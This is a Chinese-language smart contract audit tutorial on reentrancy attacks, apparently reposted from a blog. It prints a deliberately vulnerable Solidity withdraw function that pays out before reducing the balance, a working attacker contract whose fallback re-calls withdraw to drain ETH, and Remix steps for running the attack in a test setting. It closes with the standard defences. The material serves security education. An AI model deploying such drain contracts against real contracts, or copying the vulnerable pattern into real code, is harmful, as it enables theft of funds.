描述:漏洞合约中某个函数中,使用call()方法发送eth,若eth的接收者为一个合约地址,则会触发该合约的fallback()函数。若该合约是攻击者的恶意合约,攻击者可以在fallback()函数中重新调用漏洞合约的上述函数,导致重入攻击
核心问题:重要的合约变量在“重入”的过程中没有被修改,从而绕过了限制
Fallback函数
概念: 回退函数,是合约里的特殊无名函数,有且仅有一个。它在合约调用没有匹配到函数签名,或者调用没有带任何数据时被自动调用。
触发场景:
- address.send(ether_to_send)
- address.call().value(ether_to_send)
漏洞流程
漏洞合约分析
pragma solidity ^0.4.24;
contract ReentrancyGame {
mapping (address => uint) public credit; //credit表示存储用户的余额
event Deposit(address _who, uint value); //Deposit表示充值
event Withdraw(address _who, uint value);
function deposit() payable public returns (bool) {
credit[msg.sender] += msg.value; //credit调用deposit()函数进行充值使用msg.value进行ETH发送
emit Deposit(msg.sender, msg.value);
return true;
}
function withdraw(uint amount) public returns (bool) { //withdraw提币函数
if (credit[msg.sender]>= amount) {
msg.sender.call.value(amount)();
credit[msg.sender]-=amount;
emit Withdraw(msg.sender, amount);
return true;
}
return false;
}
function creditOf(address to) public returns (uint) {
return credit[to];
}
}
漏洞点:从提币开始,首先校验credit是否大于amount(本次提现的ETH),然后使用call.value进行转账,然后再扣除余额。这里漏洞点就出在我们先使用call.value对用户进行转账,然后再减少余额。就是因为这种情况,攻击者可以反复进行withdraw(),在进入withdraw()之前,第一步的校验仍然有效,在进入withdraw()之后,credit(余额)并没有减少,第一步的校验仍然有效,攻击者才能源源不断的从合约中提取ETH
攻击者合约
pragma solidity ^0.4.24;
contract ReentrancyGame {
mapping (address => uint) public credit;
event Deposit(address _who, uint value);
event Withdraw(address _who, uint value);
function deposit() payable public returns (bool) {
credit[msg.sender] += msg.value;
emit Deposit(msg.sender, msg.value);
return true;
}
function withdraw(uint amount) public returns (bool) {
if (credit[msg.sender]>= amount) {
msg.sender.call.value(amount)();
credit[msg.sender]-=amount;
emit Withdraw(msg.sender, amount);
return true;
}
return false;
}
function creditOf(address to) public returns (uint) {
return credit[to];
}
function checkBalance() public constant returns (uint){
return this.balance;
}
}
contract ReentrancyAttack { //调用attack()函数对漏洞合约进行远远不断的偷取ETH
ReentrancyGame public regame;
address owner;
function ReentrancyAttack (ReentrancyGame addr) payable {
owner = msg.sender;
regame = addr;
}
function attack() public returns (bool){
regame.deposit.value(1)();
regame.withdraw(1);
return true;
}
function geteth() public returns (bool){
owner.transfer(this.balance);
return true;
}
function checkBalance() public constant returns (uint){
return this.balance;
}
function() public payable {
regame.withdraw(1);
}
}
使用Remix进行调试
- 首先对合约进行编译(Current version设置为0.4X,Auto compile,Enable Optimization全部勾上。编译完成后会出现2个合约分别为ReentrancyAttack,ReentrancyGame)
- 首先部署ReentrancyGame(漏洞合约),这里Account设置一个受害者账户(0xca3…a733c),然后点击Deploy部署完成后漏洞合约,这里还是需要充值一定数量的ETH便于实验观察(Value设置为100 wei ETH点击deposit,然后点击checkBalance查看当前受害者地址为100 wei ETH,这里受害者合约ReentrancyGame就部署完成了)
- 攻击者合约部署ReentrancyAttack(攻击者合约),由于漏洞合约地址在提现的时候需要一定的ETH,所以这里在设置ReentrancyAttack合约的时候需要设置Value为5 wei ETH,Deploy设置为ReetrancyGame合约地址(注:这里是合约地址并不是账户地址)Account换一个账户(0x147…c160c)点击Deploy即可部署攻击者合约,部署完成后点击checkBalance查看当前账户余额为5 wei ETH,说明攻击者合约部署完成了
- 漏洞攻击-点击ReentrancyAttack(攻击者合约)attack即可攻击。攻击的过程中由于一直通过withdraw()函数进行循环提现,过程有点缓慢,等gas消耗完毕既可以查看(checkBalance)攻击者合约账号余额为51 wei ETH,再次查看ReentrancyGame(漏洞合约)账户余额为54 wei ETH,漏洞利用成功
漏洞预防
- 在将 Ether 发送给外部合约时使用内置的 transfer() 函数 。transfer转账功能只发送 2300 gas 不足以使目的地址/合约调用另一份合约(即重入发送合约)。
- 引入互斥锁。也就是说,要添加一个在代码执行过程中锁定合约的状态变量,阻止重入调用。
- 将任何对未知地址执行外部调用的代码,放置在本地化函数或代码执行中作为最后一个操作,是一种很好的做法。这被称为 检查效果交互(checks-effects-interactions) 模式。
原文始发于毕竟话少:智能合约审计-重入攻击
相关文章
暂无评论...